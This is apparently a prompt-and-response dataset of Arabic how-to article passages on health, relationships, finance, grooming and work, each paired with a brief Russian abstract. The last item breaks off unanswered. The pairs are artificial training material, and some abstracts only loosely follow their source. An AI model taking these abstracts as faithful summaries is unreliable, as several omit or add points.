لم يفعل أو يقول بأنه قد يسحبه قبل القذف ويفشل في ذلك. استخدام الواقي الذكري طريقةٌ مباشرةٌ وواضحةٌ لمنع الحمل والتي لا تتطلب ثقةً من أي الجانبين. فعالية الواقي الذكري في منع الحمل 82%. رغم ذلك من المهم أن تسعي لنوعٍ من وسائل منع الحمل الطارئة فورًا إذا تمزق الواقي الذكري أثناء ممارسة الجنس.  يمكنك شراء وسيلة منع الحمل الطارئة من متجر الأدوية أو الصيدلية وكثيرًا ما تباع حتى في متاجر البقالة. خياراتك هي الأقراص (خطة ب) أو إيلاج لولبٍ نحاسي. تتطلب الخطة ب أن تنفذ في أقرب وقتٍ بعد الاتصال غير المحمي (خلال يومٍ بشكلٍ مثالي حيث أن فعاليتها تقل كلما طال وقت انتظارك)، لكن يمكن استخدام الخطة ب حتى بعد 72 ساعةً من ممارسة الجنس غير المحمي. اللولب الرحمي النحاسي فعالٌ كوسيلةٍ طارئةٍ لمنع الحمل حتى 5 أيامٍ بعد الجنس غير المحمي. تشمل الخيارات الأخرى أوليبرستال أسيتات ulipristal acetate وأقراص خليط...

Now, please write a short abstract for it in Russian. Abstract:

Снижение риска заражения ИППП. Используйте презерватив, если вы не можете полностью доверять своему сексуальному партнеру. Обратитесь к экстренной контрацепции, если ваш презерватив порвался или не сработал по другой причине. Используйте презерватив в качестве дополнительной защиты, если забеременеть было бы немыслимо.


First, read the Arabic article below.

من المهم أن تكون متواضعًا ومهذبًا حتى وإن كنت قائد فريقك أو نجم رياضي مشهور.  شجّع أفراد فريقك عند تدربك معهم. علمهم طريقة تحسين مهاراتهم وامدحهم بدلًا من التفاخر والتصرف بلؤم عند وقوعهم في خطأ. من المهم أن تنظر إلى خصمك في عينيه وأن تصافحه وتظهر تركيزك على المباراة، حتى وإن كان الخصم وغدًا. ناقش الأمر مع مدربك أو حكم المباراة إذا شعرت أن شخصًا ما في الفريق الآخر يتصرف بشكل غير منصف، ولكن تجنب استخدام ألفاظ سيئة أو إهانته. اخسر بكرامة. ينبغي أن يظهر القادرة كأشخاص ناضجين وليس كأطفال لا يكفون عن البكاء. قم بتهنئة الفريق الآخر على الفوز وستحظى بفرصة أخرى معهم إذا تصرفت بشكل جيد. لا تخش التفاخر قليلًا بما لديك لجعلهم يعرفون سبب قيادتك لهم، ولكن لا تبالغ في جذب الكثير من الاهتمام.  ساعد مدربك على إظهار المهارات خلال التدريبات. سيعجب الزملاء بمقدار تعاونك وتعدد جوانبك. قدم أفضل ما لديك في يوم المباراة. لا تتقاعس لمجرد كونك القائد، فمن المهم أن تعمل بجد في الملعب. يجب أن تعمل جيدًا مع الآخرين لأنك ما زلت جزءً من الفريق. تذكر أنهم اختاروك قائدًا للفريق بسبب قدرتك على العمل مع مجموعة متنوعة من الناس.  تأكد من إعطاء الجميع فرصة للمشاركة في اللعبة عند اجتماعك معهم أو إعطائهم التعليمات. لا تجعل اللعبة بأكملها تدور حول مهاراتك. كن مفيدًا خارج الملعب. ساعد في حمل المعدات إلى الحافلة أو سجّل الغياب والحضور أو اعرض على أي عضو مرتبك أن تقله معك. سيظهر هذا اهتمامك بالعمل الجماعي حتى وإن كان مجرد إقلال اللاعبين الجدد إلى المدرسة حتى يتسنى للجميع المشاركة في اللعبة. كونك قائد لفريق سيكون أكثر أريحية من كونك مدير لشركة، لذا عليك أن تبذل جهدًا لتكوين صداقات تجعلك تستمتع خلال عملك الشاق. تذكر أيضًا أنه من المهم أن تكسب احترامهم قبل كل شيء.  كن ممتعًا خلال المناسبات الاجتماعية للفريق. احضر جميع حفلات عشاء الفريق وغيرها من المناسبات الاجتماعية. كن أول من يصل وآخر من يرحل وأظهر حبك لكونك قائد الفريق. سيساعدك هذا على التعرف على زملائك وتعميق روابطك معهم. كن ودودًا من جميع أعضاء الفريق. لا تلعب لعبة التفضيل وحاول التعرف على جميع أعضاء الفريق، بدايةً من النجم لأقل لاعب في الفرقة. سيُظهر هذا اهتمامك بالجميع مما يجعل فريقك فريدًا وقويًا. من المهم أن تتجنب انتقاد مدربك حتى وإن قام زملاؤك بذلك للحفاظ على قوة فريقك.  لا تنتقد مدربك أمام...

Now, please write a short abstract for it in Russian. Abstract:

Всегда демонстрируйте порядочность. Напоминайте товарищам по команде о своих умениях. Продемонстрируйте любовь к командной работе. Будьте хорошим другом товарищам по команде. Объедините усилия с тренером.


First, read the Arabic article below.

من المهم إرساء المعايير المناسبة من أجل قياس معدّل أداء أسهمك ومقارنتها بتوقعاتك. ضع لنفسك نقطًا إرشادية من أجل تحديد حجم النمو الذي تريده لكل من استثماراتك حتى تستطيع أن تقرّر إذا ما كنت ستبقيه أم لا.   تعتمد تلك المعايير بالطبع على أداء مؤشرات السوق، حيث تسمح لك بالتحديد والتأكد إذا ما كانت استثماراتك تؤدي بشكلٍ مساوٍ على الأقل لمستوى الأداء بالسوق ككل.   يمكن للأمر أن يكون معارضًا للحدس والتوقعات، فلا يعني ارتفاع أحد الأسهم أنه بالضرورة استثمار جيد، خاصة إن كان يرتفع بمعدل أبطأ من غيره من الأسهم التي تشبهه. في المقابل ليست كل الاستثمارات المتراجعة استثمارات خاسرة (ذلك عندما تكون الاستثمارات الأخرى المشابهة لها متراجعة أكثر). عليك أن تقارن أداء كل استثمار بالتوقعات التي قد وضعتها له وذلك من أجل التحقق من قيمة و أهمية كل استثمار، وكذلك يجري الأمر عند تقييمك لقرارات تقسيم أموالك.  يجب أن يتم بيع الاستثمارات التي تخالف التوقعات لتضمن أن أموالك يتم استثمارها في مكان ما، إلا إذا كان لديك من الأسباب ما يجعلك واثقًا أن توقعاتك ستتحقَّق قريبًا. اعطِ لاستثماراتك الوقت الكافي للعمل، فسنة أو حتى ثلاث سنوات من الأداء لا تعني شيئًا لشخص يُجري استثمارات طويلة المدى، حيث يعتبر سوق البورصة أشبه بآلة اقتراع (إدخال) على المدى القصير ثم يصبح آلة للوزن (حصد وتجميع)على المدى البعيد. يجب عليك بمجرد شرائك سهم الاستثمار أن تتابع بشكل دوري أداء استثمارتك في السوق.   إن الظروف والآراء تتبدّل دائمًا؛ ذلك جزء من عملية الاستثمار، والمفتاح هو معالجة وتقييم كل المعلومات الجديدة بشكل مناسب وكذلك إجراء التغييرات وفقًا للإرشادات التي تم توضيحها لك في الخطوات السابقة. فكِّر في إذا ما كانت توقعاتك للسوق صحيحة، وإن كانت خاطئة، فلماذا؟ استخدم تلك الأسئلة المستبصرة والفَطِنة في تحديث توقعاتك ومحفظتك الاستثمارية. فكِّر في إذا ما كانت محفظتك الاستثمارية داخل حدود مؤشر الخطر لديك، فربما كانت أسهمك تؤدي جيدًا إلا أن الاستثمار في وضع أكثر مخاطرة وأكثر عرضة للتحول مما قد أردت له، فإن كنت غير مطمئن لتلك المخاطرة فلابد حينها من تغيير استثماراتك. فكِّر في إذا ما كنت قادرًا على تحقيق الأهداف التي قد وضعتها، فربما مثلًا تكون استثماراتك تنمو مع معدل مقبول من المخاطرة إلا أنها تنمو ببطء شديد بالنسبة لأهدافك، فإن كان الوضع كذلك فعليك إذن التفكير في استثمارات...

Now, please write a short abstract for it in Russian. Abstract:

Разработайте критерии оценки. Сравните результат с ожиданиями. Всегда будьте начеку и корректируйте свои ожидания. Старайтесь не поддаваться соблазну продавать и покупать слишком часто. Если потребуется, проконсультируйтесь у надежного брокера, банкира или специалиста по инвестициям.


First, read the Arabic article below.

من المهم إعطاء شعركِ الوقت لامتصاص الصبغة. بعد الغسيل الأولي لإزالة الصبغة الزائدة يجب عليكِ الانتظار ٢٤-٧٢ ساعة قبل غسيل شعركِ مرة أخرى. يؤدي الغسيل سريعًا إلى الحصول على لون باهت. يتلاشى لون الشعر بالغسيل أسرع من أي شيء آخر. يجب غسل شعركِ مرتين أو ثلاث مرات فقط في الأسبوع، وليس أكثر من كل يوم. لا يزال بإمكانكِ الاستحمام، ما عليكِ سوى الحفاظ على جفاف شعركِ باستخدام قبعة الاستحمام أو شطف شعركِ سريعًا لإزالة الزيوت الزائدة. إذا كان شعركِ مصبوغًا كله بدرجة واحدة، يمكنكِ الحفاظ على اللون عن طريق وضع كمية صغيرة من الصبغة في البلسم الذي تستخدمينه على شعركِ. احتفظي بالقليل من الصبغة في العبوة أو اطلبي من مصفف الشعر أن يرسل معكِ إلى المنزل كمية صغيرة من الصبغة المستخدمة لإضافتها إلى بلسم شعركِ. امزجي أو رجي العبوة جيدًا لتوزيع الصبغة بالتساوي. استخدميها في كل مرة تغسلين شعركِ لتفتيح اللون مع ترطيب خصلات الشعر بالبلسم. اختاري بلسمًا غنيًا بالمواد المرطبة ويحتوي على زيوت مثل مستحضر أوبليفيكا أو زيت جوز الهند أو زيت الجوجوبا. غطّي كل خصلة من شعركِ بالبلسم من المنتصف وحتى الأطراف في كل مرة تغسليه فيها. لا تفرك يالبلسم في فروة رأسكِ أو جذور شعركِ، لأنه سوف يجعل شعركِ يبدو دهنيًا. يمكنكِ حتى وضع البلسم في الأيام التي الاستحمام، لكن لا تستخدمي الشامبو على شعركِ للحفاظ على قوته وسلس. يفتح الماء الساخن مسام البشرة ويسمح بنزيف اللون. في المقابل فإن الماء البارد يغلق البشرة ويحافظ على لونها. اشطفي شعركِ دائمًا باستخدام ماء بارد للحفاظ على اللون والحيوية.

Now, please write a short abstract for it in Russian. Abstract:

Мойте голову не раньше, чем через 24 часа после покраски волос. Мойте волосы не чаще, чем раз в несколько дней. Добавьте немного красителя в кондиционер. Увлажняйте волосы после каждого мытья. Ополаскивайте волосы прохладной водой.


First, read the Arabic article below.

من المهم تحديد سبب قلقك، سواء كان بسبب نوبة هلع أو نوبة مفاجئة من القلق والخوف. هل المصدر الأساسي لقلقك شيئًا ما في بيئتك؟ هل من الممكن أن يكون بسبب حادث مؤسف؟ أم هو حدث وشيك كمقابلة عمل او نشاط ما أو حدث مرتقب يسبب لك الشعور القلق ؟ تستطيع التعامل مع الخوف بسهولة أكبر عندما تدرك ماهيته بوضوح. إذا كنت تعلم ماهية خوفك، فإن الخطوة التالية هي أن تتحقق إذا ما كان بإمكانك التعامل معه أم أنه أمر وقتي يكفي الوقت وحده (أو خيالك) لمعالجته. إذا كان خوفك عبارة عن خيالات بشكل كبير أو لا يمكنك التعامل معه في الوقت الراهن، عليك إذًا أن تبذل قُصارى جهدك من أجل عدم التفكير في هذه المخاوف. في حالة كان قلقك من النوع الذي يُمكنك التعامل معه، اتبع خطوات أساسية لإنشاء مسار عمل محدد.  ماذا يمكنك فعله للتخفيف من هذا القلق أو الخوف ؟ هل هذا الاجراء طويل الأمد أم قصير الأمد؟ ما الذي يُمكنني فعله لمنع نوبات القلق أو الخوف تلك من الظهور مرة أخرى؟ في حالة كان خوفك يستحوذ على كامل تفكيرك، يمكنك التفكير للحظة بشكل مطلق وصريح بشأن أسوأ نتيجة قد تحدث جراء هذا التخوف. من المحتمل أنك تستعد لأداء عرض عمل ضخم، وتبدأ حينها النوبة. توقف وفكر "ما هي أسوأ نتيجة قد تحدث؟" بغض النظر عن مدى الإبداع الممكن في ردة فعلك، سيؤدي التفكير الناقد للوصول لما ينبغي أن يحدث، وسنجد قليل من النهايات التي لا يمكن التعامل معها بشكل عقلاني سليم. قد يكون من الصعب أن تتوقف عن القلق عندما لا يمكنك الجزم بكيفية سير الأمور. عند هذه النقطة، من المهم تقبل حقيقة الشك ببساطة. لا نعلم دائمًا كيف تسير الأمور أو ما النهاية المحتملة، لذلك فإن القلق مما هو غير معلوم مصدر غير ضروري للخوف ويمكن تجنبه بمبدأ بسيط يكمن في تقبل الفرص والاحتمالات. أنت تشعر بالقلق لسبب ما، فالقلق المرضي هو الاستجابة بالخوف لسيناريو حقيقي أو من وحي الخيال. تظهر المشكلات عندما نبدأ في الخوف من أشياء لا تمثل خطورة حقيقية علينا. ولذلك، عليك التفكير أولاً في هل توجد أي فائدة من القلق الذي تشعر به. ما الغرض من وراءه؟ إذا كنت تشعر بالخوف من موقف خطير شرعيًا أو قانونيًا، يكون قلقك حينئذٍ في محله وذا منفعة. لكن لو كنت قلقًا وخائفًا بدون غرض محدد، حينئذ يمكن القول أن القلق يتحكم فيك. وتذكر أن هذا قد يجعلك عُرضة للقلق الشديد باستمرار.

Now, please write a short abstract for it in Russian. Abstract:

Определите причину. Определите, можно ли решить проблему, которая вызывает беспокойство. Рассмотрите худший вариант развития событий. Примите неопределенность. Рассмотрите пользу беспокойства.


First, read the Arabic article below.

من المهم جدًا عدم الخلط بين الدعم والتمكين، فالتمكين يعني التساهل لوسواسه أو مساعدته على الاستمرار في الأفعال القهرية والطقوس. يمكن أن يؤدي هذا إلى اشتداد أعراض الوسواس؛ لأنك تعزز من هذه السلوكيات القهرية. الدعم لا يعني تبنّي الأفعال القهرية للموسوس، بل التحدث معه عن مخاوفه وتفهّم حاله حتى لو كنت تجد ما يفعله غريبًا. ليس من النادر أن تجد أسر مصابين بالوسواس القهري تكّمنهم أو حتى تقلّد بعض السلوكيات كمحاولة لحماية المصاب وإعانته على الانتهاء طقوسه. على سبيل المثال، إذا كان صديقك أو أحد أفراد عائلتك لديه قهر خاص بفصل أنواع الأطعمة المختلفة في طبقه، فقد تبدأ في فصلها له. في تصورك تظن هذا دعمًا ومساعدة، لكن في الحقيقة أنت تفعل العكس تمامًا؛ فسلوكك هذا يمكّن القهر ويعزز منه. وحتى لو كانت نيتكم تحمّل جزء من العبء عنه، فقد تبدأ الأسرة كلها أو محيط الأصدقاء في "المعاناة من الوسواس القهري" حين يشارك الجميع في الأفعال القهرية.  مساعدة المحبوب في قهره يوصل رسالة ضمنية مفادها أن مخاوفه غير المنطقية مبررة فعلًا وأنه ينبغي الاستمرار في أفعاله وسلوكياته القهرية. مهما صعب الأمر فحاول دائمًا تجنب تمكين محبوبك؛ لأن هذا يزيد أعراضه. لا تحاول باستمرار مساعدة قريبك أو صديقك على تجنب ما يزعجه بالذات إذا كان هذا الشيء محوريًا في حياته. هذا نوع آخر من التمكين أو التساهل مع الأفعال القهرية. على سبيل المثال: لا تساعده على تجنب الأسطح المتسخة عن طريق تجنب الأكل خارج المنزل. لا تفعل ما يسمح لمحبوبك بالانخراط في السلوكيات العَرَضية. كمثال: أن تشتري له المواد الذي يريدها للتنظيف الموسوس. إذا غيرت من روتينك تكيفًا مع أعراض الوسواس، فقد يؤدي هذا إلى تغيير سلوك الأسرة كلها مواءمة للسلوكيات الأساسية للوسواس.  مثلًا: الانتظار وقت العشاء حتى ينتهي الموسوس من طقسه. مثال آخر هو أن تبذل مجهودًا مخصوصًا لأداء كم أكبر من أعمال المنزل لأن وسواس المصاب يصعّب عليه الانتهاء من مهامه في وقت معقول. إذا كنت مشاركًا في استمرار وسواس محبوبك وأصبحت تدرك ذلك، فانسحب بلطف من تلك السلوكيات المساعدة والتزم بانسحابك.  فسّر له أن مشاركتك تزيد المشكلة سوءًا. توقع أن يستاء من هذا، وتعامل مع مشاعرك أنت الناتجة من استيائه. كن قويًا! على سبيل المثال: بالنسبة لعائلة تتنظر الموسوس حتى يفرغ من طقوس ما قبل الطعام، قد تتضمن خطة العمل ألا ينتظروا بعد الآن عن تناول الوجبة وألا...

Now, please write a short abstract for it in Russian. Abstract:

Не путайте дозволенность с поддержкой. Не приспосабливайтесь к поведению своего близкого человека, чтобы оно не укоренилось. Сопротивляйтесь поддерживать замкнутое поведение. Старайтесь не способствовать симптоматическому поведению/мании. Не изменяйте порядка своих повседневных дел. Составьте план действий, чтобы помочь себе и остальным прекратить подстраиваться под симптомы ОКР.


First, read the Arabic article below.

من المهم قياس حجم حصتك من الطعام عند إتباع أي نظام لخسارة الوزن، فالإفراط في الطعام حتى وإن كان صحيًا يمكن أن يزيد وزنك.  إنقاص حصتك من الطعام طريقة بسيطة لإنقاص إجمالي سعراتك الحرارية، مما ينتج عنه خسارة الوزن.  عند التخطيط لوجباتك الرئيسية والخفيفة عليك اتباع هذه الأحجام القياسية: حصة الفاكهة تعادل نصف كوب أو ثمرة فاكهة صغيرة وحصة الحبوب تعادل نصف كوب وحصة البروتين خالي الدهون 85 جرام أما حصة منتجات الألبان قليلة الدسم تعادل كوب من الزبادي أو اللبن أو 55 جرام من الجبن، إن كنت ستتناول بعض الخضراوات فإن حصة الخضراوات تساوي كوب واحد أو كبين من الخضراوات الورقية. إن حساب السعرات الحرارية طريقة أخرى لخسارة الوزن، حيث يمكنك حينها اقتطاع بعض السعرات من كل وجبة رئيسية وخفيفة لخسارة الوزن، ويمكنك أيضًا استبدال الأطعمة عالية السعرات بأخرى قليلة السعرات حتى تقلل من إجمالي سعراتك الحرارية اليومية.  يشير خسارة الوزن بأمان إلى خسارة 450-900 جرام أسبوعيًا، وبمفهوم السعرات يعني اقتطاع حوالي 500 سعر حراري يوميًا.  إن اقتطعت من سعراتك أكثر من 500 سعر حراري أو تناولت أقل من 1200 سعر، فأنت عرضة للإصابة بسوء تغذية، كما أن خسارة الوزن من خلال أنظمة منخفضة جدًا في السعرات لن يدوم طويلًا. فالفاكهة والخضراوات هما المصدر الرئيسي للفيتامينات والمعادن ومضادات الأكسدة. وتجنب أو الإقلال من الخضراوات يقلل من العناصر الغذائية التي تحصل عليها من خلال طعامك، لذلك عليك التركيز على تناول كمية أكبر من الفاكهة لتعويض هذه العناصر الغذائية.  يوصى بتناول نحو حصتين من الفاكهة يوميًا، أي ثمرتين من الفاكهة أو كوبين.  يقدم لك كل لون في الفاكهة عناصر غذائية مختلفة، لذا اختر مجموعة متنوعة من الفاكهة ذات الألوان المختلفة كل يوم للحصول على أكبر قدر من العناصر الغذائية المختلفة.  تناول أيضًا الفاكهة عالية القيمة الغذائية. بالرغم من أن جميع الفاكهة خيارات صحية إلا أن بعضها يقدم عناصر غذائية أعلى من الأخرى، مثال على ذلك: البرتقال والجريب فروت والتوت الأسود والفراولة. أصبحت العصائر أكثر الطرق شيوعًا بين الناس لتناول الفاكهة والخضراوات. إن لم تكن من محبي الخضراوات الطازجة أو المطبوخة، أضف العصير إلى مائدتك بكثرة.  تتوفر عصائر الخضراوات في محلات البقالة، ابدأ بتجربة عدة ماركات لمعرفة أيهم أفضل في المذاق. ويمكنك إضافة حصة إلى حصتين من عصير الخضراوات إلى وجبتك...

Now, please write a short abstract for it in Russian. Abstract:

Измерьте размеры порций. Считайте калории. Ешьте 2-3 порции фруктов каждый день. Делаете или покупайте соки. Делайте смузи. Употребляйте диетический белок и цельные злаки. Принимайте добавки. Пробуйте новые овощи. Добавляйте овощи в разные блюда.


First, read the Arabic article below.

من المهم لك أن تفهم أولًا أسلوبك الشخصي في التعامل قبل أن تقرر أنك ستغيره. إذا كنت بالفعل حازمًا في معظم نواحي حياتك، فربما تحتاج فقط لإجراء بعض التعديلات البسيطة في أسلوبك. في النهاية هناك حد فاصل بين الحزم والعدوانية. مع ذلك إذا وجدت أنك ينطبق عليك بعض الحالات الآتية، فذلك قد يعني أنك سلبيًا:  لا تنطق برأيك. تظل هادئًا أغلب الوقت. تقول نعم بينما ترغب حقًا في الرفض. تقبل تحمّل المزيد من المسئوليات في حين أنك بالفعل لديك الكثير لتفعله. عندما تجد نفسك لا تدافع عن رأيك وتعاني كثيرًا لكي تقول لا للآخرين، فيمكن أن يكون ذلك بسبب خوفك من عدم إرضاء الآخرين. عندما تجد نفسك سلبيًا في أحد المواقف توقّف واسأل نفسك ما الذي تخشاه الآن. تذكر ان الطريقة الوحيدة للتغلب على الخوف تكون بالاعتراف بوجوده أولًا.  قولك لنفسك أنك "لا بد" أن تحصل على موافقة شخص آخر فذلك يعد نوعًا من التشويه المعرفي، فما يحدث عندما تقول لنفسك أنك "لا بد" و"يجب عليك" أن تفعل الأشياء، هو أنك تبدأ في تكليف نفسك بطلبات غير عقلانية. رأي الناس لا يعبر عن قيمتك الذاتية، إنما هو في الواقع يعكس المشاكل التي لدى الشخص الآخر. خوفك من استنكار الآخرين ما يحمل بين طياته خوفًا من الرفض. بمعنى أنك يمكن أن تكون سلبيًا في بعض المواقف نتيجة لخوفك من العواقب المحتملة المترتبة التي ستحدث إذا كنت حازمًا. أفضل طريقة لتجاوز خوفك ولكي تكون حازمًا أكثر؛ هي التفكير في مدى احتمالية حدوث تلك العواقب وكيفية التعامل معها في حال وقوعها. إليك بعض الأسئلة التي يمكن أن تسألها لنفسك لتساعدك في هذا الأمر:  ما الذي أخشى أن يحدث إذا كنت حازمًا أكثر؟ ما الدليل الذي لديّ على أن الطرف الآخر سيرفض؟ هل سبق له مثلًا أن فعل ذلك من قبل؟ ماذا لديّ من الأدلة على أن الشخص الآخر لن يرفض؟ في اعتقادي ما الذي سيحدث؟ ما الذي يمكنني فعله حتى أحمي نفسي من الرفض؟ أحيانًا قد يصعب عليك أن تكون حازمًا لأنك تخشى أنك بذلك تجرح مشاعرك الشخص الآخر. مع ذلك فالناس يمكن أحيانًا أن يسيئوا تفسير مقاصدك ونواياك حتى لو كان حزمك له ما يبرره. لا ينبغي عليك أن تفعل شيئًا لا ترغب به أو تتخلى عن رغباتك خشية أن تجرح مشاعر شخصٍ آخر. كونك حازمًا لا يعني أنك بلا قلب. ينبغي دائمًا أن تحاول أن تكون حازمًا لكن مع الحد من أذية مشاعر الآخرين قدر إمكانك. مع ذلك ينبغي أن تضع في ذهنك أن ذلك ليس ممكنًا دائمًا. يمكن أن تجد نفسك أحيانًا...

Now, please write a short abstract for it in Russian. Abstract:

Оцените характер вашего взаимодействия с людьми. Проанализируйте свой страх. Оцените вероятность того, что ваш страх станет реальностью. Освободитесь от ответственности за чувства других людей. Отпустите чувство вины. Извлекайте уроки из своей покорности.


First, read the Arabic article below.

من المهم للغاية أن تمتلك ملفًا تعريفيًا جيدًا خاصًا بتصميماتك من أجل التقديم على فرص الوظائف والتدريب. يعمل الملف التعريفي على تسويقك وتسويق أعمالك للجهات المهتمة. يجب أن تعرض من خلاله أفضل أعمالك وتصميماتك وأن تُبرز مهاراتك وقدراتك الإبداعية. استخدم غلافًا عالي الجودة، فكما يُقال في المثل العامي الشائع "يُفهم الجواب من عنوانه" والشكل الأمثل للغلاف الخاص بملفك التعريفي يترك انطباعًا أوليًا جيدًا لدى الطرف الآخر ويُظهر له احترامك لنفسك ومهنتك وحرصك على الالتزام بدرجة عالية من الاحترافية. تأكد من إدراج ما يلى في ملفك التعريفي:   اسكتشات مرسومة يدويًا لتصميماتك أو صورًا فوتوغرافية لها. تصميمات مرسومة باستخدام الكمبيوتر. السيرة الذاتية. صفحات الأفكار (مجموعة من الرسومات الصغيرة المُجمعة في صفحة واحدة تشرح قصة التصميم ومصادر الإلهام التي تشكل التصميم بناءً عليها). صفحات عرض الألوان والأقمشة والأنسجة. أي إضافات أخرى تُعبر عما تقدر على القيام به أو ما يمكن أن يتطور مستواك ويصل إليه من مهارات.

Now, please write a short abstract for it in Russian. Abstract:

Соберите портфолио ваших работ.


First, read the Arabic article below.

من المهم للغاية الإسراع للوصول لطبيب (أو شخص لديه تخصص طبي مناسب لحالتك) في حال انخلاع الكتف، لأن العضلات والأوتار والأربطة المحيطين بالإصابة إذا ثبتوا على هذا الوضع سيصبح من الصعب جدًا أن تعاد رأس عظمة العضد لمكانها من غير تدخُّل جراحي. على الأرجح سيقوم معظم الأطباء بعمل أشعة سينية لكتفك حتى يستبعدوا احتمالية وجود كسر قبل كل شيء.  إذا لم يكن هناك شيئًا مكسورًا أو ممزقًا بدرجة كبيرة، سيكون بمقدور الطبيب أن يعالج كتفك باستخدام حركة ردّ مغلق (أي بدون تدخُّل جراحي) لمفصل كتفك، لكنك ستحتاج أولًا لمهدئ أو مُرّخي عضل قوي أو مخدر (بنج) قبل المعالجة اليدوية لأن الألم سيكون شديدًا. توجد طريقة معروفة لإرجاع المفصل تسمى أسلوب هينيبين (Hennepin maneuver) وخلالها يتم لف الكتف للخارج حتى يُعاد الفصل لمكانه. سيجعلك الطبيب تستلقي على ظهرك ويثني مرفقك بزاوية 90 درجة ثم يلف كتفك باتجاه الخارج تدريجيًا (دوران خارجي). مع القليل من الدفع أثناء ذلك، سيُّرد المفصل لمكانه. هناك عدد من أساليب الرد المختلفة التي تُستَعمَل من قِبَل الأطباء غير الطرق المذكورة هنا؛ يتوقف اختيار الطريقة بناءً على ما يشعر الطبيب بالاطمئنان لتطبيقه. إذا كان كتفك ينخلع بشكل متكرر (بسبب تشوه عظمي أو تراخي الأربطة) أو إذا وُجد أي كسر في العظام أو تلف في الأعصاب و/أو الأوردة الدموية، ستكون بحاجة للخضوع لعملية جراحية لإصلاح الضرر ولإعادة مفتوحة للمفصل. أحيانًا يكون التدخُّل الجراحي هو أفضل الخيارات لأنه يُمكّن من إصلاح الإصابات الداخلية وتثبيت المفصل وهو ما يقلل احتمالية تكرُّر الخلع مستقبلًا.  هناك الكثير من العمليات الجراحية المختلفة التي يمكن أن تُجرى لردّ الكتف ويتحدّد الأسلوب المستخدم على حسب نوع الضرر الحاصل ومدى قوته وعلى حسب مدى نشاط المريض أو أسلوب حياته. تقترح بعض الدراسات أن الردّ الجراحي "المفتوح" للمفصل هو أفضل خطوة يمكن اتخاذها بالنسبة للأشخاص البالغين النشيطين الذين لم تتجاوز أعمارهم 30 سنة، بسبب ما لوحظ من انخفاض معدلات تكرُّر الخلع بعد العمليات الجراحية وتحسُّن جودة حياة الشخص من حيث قدرته على استخدام ذراعه. سواءً عولجت بطريقة ردّ يدوية مغلقة أو بإرجاع جراحي مفتوح، يجب أن تُحال لطبيب علاج طبيعي كي تقوّي مفصل كتفك. يستطيع أخصائيو العلاج الطبيعي ومقومو العظام والمعالجون الرياضيون أن يعلموك تمرينات تمدد معينة حتى يستعيد كتفك كامل قدرته ونطاقه...

Now, please write a short abstract for it in Russian. Abstract:

Покажитесь врачу как можно скорее. Подготовьтесь к возможной операции. Восстановление плечевого сустава.


First, read the Arabic article below.

من المهم معرفة الحدث أيًا كان نوعه، سواءً كان حفلة زفاف أم تخرجًا أم غيره. يحدد نوع الحدث نوع الجو الذي يجب أن تخلقه في المكان. يجب أن تعلم ما سيجري وما يجب أن تتحدث عنه وما بعد ذلك حتى تكون مقدمًا ناجحًا.  يمكنك الالتقاء بمنظمي الحدث وتصفح الخطة الموضوعة ومراجعة مسار الحدث بالتفصيل. مقدم الحدث مسئول عن خلق الجو المطلوب طوال الوقت، والذي يختلف على حسب نوع الحدث بالرغم أن معظم الأحداث التي يتم تعيين مقدم بها عادةً ما تبحث عن المتعة والجو المرح. تتضمن مسئولياتك الأساسية ما يلي:  تسيير الحدث والربط بين فقراته المختلفة. جذب انتباه الجمهور باستمرار والحرص على إمتاعهم. مساعدة الجمهور على الشعور بأنك تحترمهم وتتفاعل معهم طوال الحدث. مساعدة المتحدثين على الشعور بالتقدير. سريان الحدث في وقته المحدد. إعلام الجميع بكل جديد يخص الحدث. يجب أن يتحلى المقدم بحسٍ عالٍ من الفكاهة والقدرة على التحدث أمام الجمهور والتفاعل معه.يعني ذلك أنك يجب أن تكون مستعدًا للارتجال حتى ترد جيدًا على كل ما يحدث فجأة. على سبيل المثال قد تحتج لإمتاع وإضحاك الجمهور قليلًا في حين انتظار المتحدث التالي أن يخرج من دورة المياه أو أن يتم استبدال الميكروفون المعطل.   تذكر أن تبتسم، فالابتسامة تنشر البهجة والسعادة في الحدث وتجعلك تبدو متحمسًا. ضع في اعتبارك أن كونك المقدم لا يعني أنك بطل العرض، فيجب عليك أن تجعل الآخرين يشعرون أنهم نجوم العرض. تواصل مع المتحدثين الأساسيين لمعرفة معلومات عامة عنهم ثم استخدمها للاستعداد لتقديمهم في الحدث. هذا البحث عن خلفيات المتحدثين سيساعدك في التقديم الشخصي الجيد لهم.   اعرف ما إذا كان هناك أي ضيوف مميزين في الجمهور يجب عليك أن تلقي التحية عليهم خلال الحدث.  احرص على معرفة اسم ولقب كل المتحدثين حتى تنادي عليهم باسمهم عندما يحن وقت إدلائهم بخطابهم. قم بوضع أو مراجعة خطة الحدث وخطط له دقيقةً بدقيقة. ضع في اعتبارك وقت الطلوع والهبوط من على المنصة ووقت تقديم الضيوف والخطابات وشكر الضيوف.  يمكنك عمل سكريبت تقريبي لما ستقوله طوال الليلة، ويمكنك حفظ ذلك والاحتفاظ بنوتات صغيرة أو وضع مخطط تتبعه طوال الحدث.  من الجيد أن تخبر منظم الحدث بصفتك المقدم أنك ستأخذ أوامرك من شخصٍ واحد فقط، فإذا طرأت أي تغييرات على برنامج الحدث فيجب أن يوافق هذا الشخص عليها أولًا حتى تسمح أنت بحدوثها. يؤدي ذلك إلى تقليل اللخبطة وسوء التواصل خلال الحدث...

Now, please write a short abstract for it in Russian. Abstract:

Определите характер мероприятия. Познакомьтесь со своими обязанностями. Знайте, что от вас ожидают другие. Проведите исследование. Будьте организованы.


First, read the Arabic article below.

من الوارد جدًا قضاء الكثير من الوقت في الاطلاع على رسائل البريد الإلكتروني خلال اليوم، ويعدّ ذلك مشكلة حقيقية في بيئة العمل على وجه الخصوص. بسبب ذلك، يفضّل تغيير عاداتك في تصفّح البريد الإلكتروني لتقليل الوقت المستقطع للتعامل مع رسائل البريد الإلكتروني. حدّد أوقاتًا مخصّصة لذلك بحيث تسمح لنفسك بتفقّد البريد الإلكتروني 2-3 مرات قصار خلال اليوم فقط.  يمكنك مثلًا تحديد أوقات تفقّد البريد الإلكتروني لتكون 9 صباحًا، و 1.30 مساءً، و 5 مساءً بحيث تقضي 10 دقائق للاطلاع على البريد في كل مرّة. إن كنت تمتلك شركة أو تدير طاقم عمل، يمكنك حينها فرض هذه القاعدة على الموظفين لزيادة الإنتاجية. أحد العادات السيئة التي يتبنّاها الكثير من الأشخاص هي الرد على رسائل البريد الإلكتروني ليظهروا بمظهر الشخص المؤدّب. يتعامل أولئك الأشخاص مع رسائل البريد الإلكتروني بنفس طريقة تعاملهم مع المحادثات العادية، إلّا أنّ ذلك يؤدي إلى تلقّي المزيد من 